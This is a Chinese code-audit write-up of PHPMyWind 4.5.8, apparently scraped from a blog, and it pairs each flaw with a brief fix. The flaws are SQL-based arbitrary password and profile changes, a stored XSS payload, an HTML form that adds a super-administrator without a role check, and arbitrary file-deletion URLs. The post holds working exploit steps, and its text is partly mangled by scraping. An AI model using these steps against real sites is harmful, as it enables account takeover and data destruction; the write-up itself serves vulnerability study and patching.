好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

phpmywind4.5.8代码审计缺陷打包和修复方案 - 网站

HdhCmsTest2cto测试数据:作者求职信息也保留了,祝他好运 年底就离校了,大专,软件测试专业。求安全公司收留。渗透测试、软件测试、代码审计都可以,最好是做安全。联系方式:root@cnseay测试数据

PHPMyWind 介绍:

PHPMyWind  是一款基于 PHP+MySQL 开发,符合 W3C 标准的建站引擎。适用于企业级建站的首选利器。开发之初,团队就从适用于企业级建站为突破口,增强程序的易用性,灵活性,可拆分性,致力于为国内企业网站提供 [ 核动力 [ 。 [PHPMyWind  是一款基于 PHP+MySQL 开发,符合 W3C 标准的建站引擎。适用于企业级建站的首选利器。开发之初,团队就从适用于企业级建站为突破口,增强程序的易用性,灵活性,可拆分性,致力于为国内企业网站提供 " 核动力 " 。

 

作者: Seay

博客:http://HdhCmsTestcnseay测试数据/

说明:看代码审计的文章,是要学思路,而不是用别人的成果去入侵。不断学习,不断钻研,才能不断进步。

 

审计环境:

用到的工具:Seay PHP 代码审计工具 2012 终结版 

下载地址:http://HdhCmsTest2cto测试数据/soft/201211/35083.html

过滤函数:80sec提供的过滤函数,过滤了一些像union的特殊字符。。。

include\\common.inc.php文件已经对提交上来的数据进行转义。

 

文件结构:

 我们先用工具载入源码,函数扫描一遍。

 

一、任意会员密码 + 资料修改漏洞:

任意会员密码密码修改:

漏洞文件: \\member.php

 

代码:

//设置新密码

346 else if($a == 'setnewpwd')

347 {

348  if(!isset($_POST['uname']))   //可输入变量$_POST 可能存在安全威胁

349  {

350  header(‘location:?c=findpwd’);

351  exit();

352  }

353 

354 

355  //初始化参数

356  $uname      = empty($uname)      ? ] : $uname;

357  $password   = empty($password)   ? ] : md5(md5($password));

358  $repassword = empty($repassword) ? ] : md5(md5($repassword));

359 

360 

361  //验证输入数据

362  if($uname == ] or

363     $password == ] or

364     $repassword == ] or

365     $password != $repassword or

366     preg_match([/[^0-9a-zA-Z_-]/],$password))

367  {

368  header(‘location:?c=findpwd’);

369  exit();

370  }

371 

372 

373  if($dosql->ExecNoneQuery([UPDATE `detest_member` SET password=’$password’ WHERE username=’$uname’]))

374  {

375  header([location:?c=login&d=].md5(‘newpwd’));

376  exit();

377  }

378 }

 

直接取到’uname’ 就带入到数据库。我们可以抓包,把 uname 修改成其他用户名,重新提交数据包即可修改其密码。我们可以跟踪 ExecNoneQuery函数看一下。

 

在 include/mysql.class.php 文件中。

 

// 执行一个不返回结果的 SQL 语句,如 update,delete,insert 等

    function ExecNoneQuery($sql=])

    {

        global $dosql;

 

        if($dosql->isclose)

        {

            $this->Open(false);

            $dosql->isclose = false;

        }

 

        if(!empty($sql))

        {

            $this->SetQuery($sql);

        }

else

{

            return false;

        }

 

//SQL 语句安全检查

        if($this->safecheck)

        {

            $this->CheckSql($this->querystring,’update’);

        }

 

        if(mysql_query($this->querystring, $this->linkid))

{

return true;

}

else

{

$this->DisplayError(mysql_error().’ Error sql: ’.$this->querystring);

exit();

}

    }

 

看到标红的SetQuery($sql); 。 我们继续跟踪。函数还是在本文件内。

 

    // 设置 SQL 语句,会自动把 SQL 语句里的 detest_ 替换为 $this->db_tablepre( 在配置文件中为 $db_tablepre)

    function SetQuery($sql)

    {

$prefix = ’detest_’;

        $this->querystring = str_replace($prefix, $this->db_tablepre, $sql);

    }

 

看到只是拼接下 SQL 语句而已,最终把 SQL 语句交给了 querystring  变量。

 

继续回到 ExecNoneQuery 函数。我们看到

 

//SQL 语句安全检查

        if($this->safecheck)

        {

            $this->CheckSql($this->querystring,’update’);

        }

$this->result[$id] = mysql_query($this->querystring, $this->linkid);

 

        if(empty($this->result[$id]) && $this->result[$id]===false)

        {

            $this->DisplayError(mysql_error().’ Error sql: ’.$this->querystring);

exit();

        }

 

继续跟踪 CheckSql 函数,就看到蛋疼的东西了。

 

//SQL 语句过滤程序,由 80sec 提供,这里作了适当的修改

    function CheckSql($sql, $querytype=’select’)

    {

        $clean   = ];

        $error   = ];

$pos     = -1;

        $old_pos = 0;

 

 

        // 如果是普通查询语句,直接过滤一些特殊语法

        if($querytype == ’select’)

        {

            if(preg_match(‘/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/’, $sql))

            {

$this->DisplayError([$sql||SelectBreak],1);

            }

/* 省略 */

 

 

蛋疼的拼接好 SQL 语句再检查。。。

 

 

修复:SQL 语句 where 后面的值从 session 中获取。

 

 

 

任意会员资料修改:

 

同样在\\member.php 文件,看到更新资料处。

 

 

 

//更新资料

413 else if($a == ’saveedit’)

414 {

415  if($password!=$repassword or

416     $email==])

417  {

418  header(‘location:?c=edit’);

419  exit();

420  }

421 

422 

423  //检测旧密码是否正确

424  if($password != ])

425  {

426  $oldpassword = md5(md5($oldpassword));

427  $r = $dosql->GetOne([SELECT `password` FROM `detest_member` WHERE `username`=’$c_uname’]);   //可能存在SQL查询语句,请注意是否过滤

428  if($r['password'] != $oldpassword)

429  {

430  ShowMsg(‘抱歉,旧密码错误!’,'-1′);

431  exit();

432  }

433  }

434 

435  $sql = ]UPDATE `detest_member` SET ];

436  if($password != ])

437  {

438  $password = md5(md5($password));

439  $sql .= ]password=’$password’, ];

440  }

441  @$sql .= ]question=’$question’, answer=’$answer’, cnname=’$cnname’, enname=’$enname’, sex=’$sex’, birthtype=’$birthtype’, birth_year=’$birth_year’, birth_month=’$birth_month’, birth_day=’$birth_day’, astro=’$astro’, bloodtype=’$bloodtype’, live_prov=’$live_prov’, live_city=’$live_city’, live_country=’$live_country’, home_prov=’$home_prov’, home_city=’$home_city’, home_country=’$home_country’, cardtype=’$cardtype’, cardnum=’$cardnum’, intro=’$intro’, email=’$email’, qqnum=’$qqnum’, mobile=’$mobile’, telephone=’$telephone’, address_prov=’$address_prov’, address_city=’$address_city’, address_country=’$address_country’, address=’$address’, zipcode=’$zipcode’ WHERE id=$id];

442 

443  if($dosql->ExecNoneQuery($sql))

444  {

445  ShowMsg(‘资料更新成功!’,'?c=edit’);

446  exit();

447  }

448 }

 

 

我们看到 SQL 语句是直接拼接起来的,跟之前密码修改一样, $id 我们可控,修改下密保或者邮箱就可以直接找回密码。

 

 

修复:同理, SQL 语句 where 后面的值从 session 中获取。

 

 

当然同类的小缺陷还有,就不列出来了,主要是对网站危害不大。如果会员跟管理员在一个表,那你们懂得。。。但是现实总是那么残酷啊 , 好了,不做梦乱想了。。。

 

 

二、会员资料 XSS 漏洞

代码还是上面那段代码。未对特殊字符做编码处理,产生 XSS 漏洞。

我们在[通信地址]处输入[]><script>alert(/xss)<script> ] . 。

点击更新,立马触发,我们再到后台用户管理看看。

 

 

很鸡肋啊,不过动动你的脑筋,结合社会工程学,让管理查看下你的资料,也不是不可能的事。再结合上次 Yaseng 基友说的 CSRF ,就可以直接 Getshell 。

 

 

修复:对提交的字符特殊字符做编码处理

 

 

 

三、后台越权添加 + 审核 + 删除任意用户信息(含密码)

越权添加用户:

后台用户信息保存的文件 admin\\admin_save.php

验证了是否登录,但是没验证管理员的角色,我们可以构造一个 POST 的包,即可添加超级管理员。

18 //添加管理员

19 if($action == ’add’)

20 {

21  if(preg_match([/[^0-9a-zA-Z_@!\.-]/],$username) || preg_match([/[^0-9a-zA-Z_@!\.-]/],$password))

22  {

23  ShowMsg(‘用户名或密码非法!请使用[0-9a-zA-Z_@!.-]内的字符!’, ’-1′);

24  exit();

25  }

26 

27  if($dosql->GetOne([SELECT id FROM `$tbname` WHERE username=’$username’]))   //可能存在SQL查询语句,请注意是否过滤

28  {

29  ShowMsg(‘用户名已存在!’, ’-1′);

30  exit();

31  }

32 

33  $password  = md5(md5($password));

34  $loginip   = ’127.0.0.1′;

35  $logintime = time();

36 

37  $sql = ]INSERT INTO `$tbname` (username, password, loginip, logintime, levelname, checkadmin) VALUES (‘$username’, ’$password’, ’$loginip’, ’$logintime’, ’$levelname’, ’$checkadmin’)];

38  if($dosql->ExecNoneQuery($sql))

39  {

40  header([location:$gourl]);

41  exit();

42  }

43 }

 

俺写的一个提交的页面,要在登录的情况下:

 

<form name=]form] id=]form] method=]post] action=]http://localhost/admin/admin_save.php?action=add]>

  <label></label>

  <table width=]284″ height=]103″ border=]1″ align=]center]>

    <tr>

      <td width=]74″>用户名:</td>

      <td width=]194″><label>

        <input type=]text] name=]username] class=]class_input] id=]username] />

      </label></td>

    </tr>

    <tr>

      <td>密 码:</td>

      <td><input type=]password] name=]password] class=]class_input] id=]password] /></td>

    </tr>

    <tr>

      <td>权 限:</td>

      <td><select name=]levelname] id=]levelname]>

        <option value=]0″>超级管理员</option>

        <option value=]1″>普通管理员</option>

        <option value=]2″>文章发布员</option>

      </select></td>

    </tr>

    <tr>

      <td>审 核:</td>

      <td><input type=]radio] name=]checkadmin] value=]true] checked=]checked]>

已审核  </td>

    </tr>

    <tr>

      <td colspan=]2″ align=]center]><label>

        <input type=]submit] name=]Submit] value=] 添 加 ] />

      </label></td>

    </tr>

  </table>

</form>

 

可以用来权限提升。

 

 

越权删除管理

 

108 //删除管理员

109 else if($action == ’del’)

110 {

111  if($id == 1)

112  {

113  ShowMsg(‘抱歉,不能删除创始账号!’,'-1′);

114  exit();

115  }

116 

117  if($dosql->ExecNoneQuery([DELETE FROM `$tbname` WHERE id=$id]))

118  {

119      header([location:$gourl]);

120  exit();

121  }

122 }

123 

124 

125 //无条件返回

126 else

127 {

128     header([location:$gourl]);

129  exit();

130 }

131 ?>

 

还有审核同样。。。。

 

 

修复:操作前验证管理权限

 

 

四、后台多处任意文件+目录删除漏洞

先看admin/upload_filemgr_save.php文件。

 

//初始化参数

$gourl    = isset($dirname)  ? ’upload_filemgr_dir.php?dirname=’.$dirname : ’upload_filemgr_dir.php’;

$dirname  = isset($dirname)  ? $dirname  : ];

$filename = isset($filename) ? $filename : ];

//删除文件

if($action == ’delfile’)

{

$dstring = ’’.$dirname.$filename;

 

if(file_exists($dstring))

{

if(@unlink($dstring))

{

header([location:$gourl]);

exit();

}

else

{

ShowMsg(‘未知错误,文件删除失败!’, $gourl);

exit();

}

}

else

{

ShowMsg(‘在目录中未找到该文件,请尝试刷新文件列表!’, $gourl);

exit();

}

}

 

dirname  和filename 均未过滤,多个文件都是这样。删…

 

http://localhost/phpmywind/admin/database_backup.php?action=import&dopost=del&dirname=2012_1115000841_VZeCyy&tbname=pmw_admanage_0_jIzU7L.txt

 

http://localhost/phpmywind/admin/upload_filemgr_save.php?mode=dir&action=delfile&dirname=uploads%2Fimage%2F&filename=index.htm

 

…..

 

修复:过滤目录。。。

 

 

五、后台目录浏览漏洞

/admin/upload_filemgr_dir.php文件中dirname过滤不严,导致任意目录浏览+删除。

 

修复: 同理,过滤

 

查看更多关于phpmywind4.5.8代码审计缺陷打包和修复方案 - 网站的详细内容...

  阅读:39次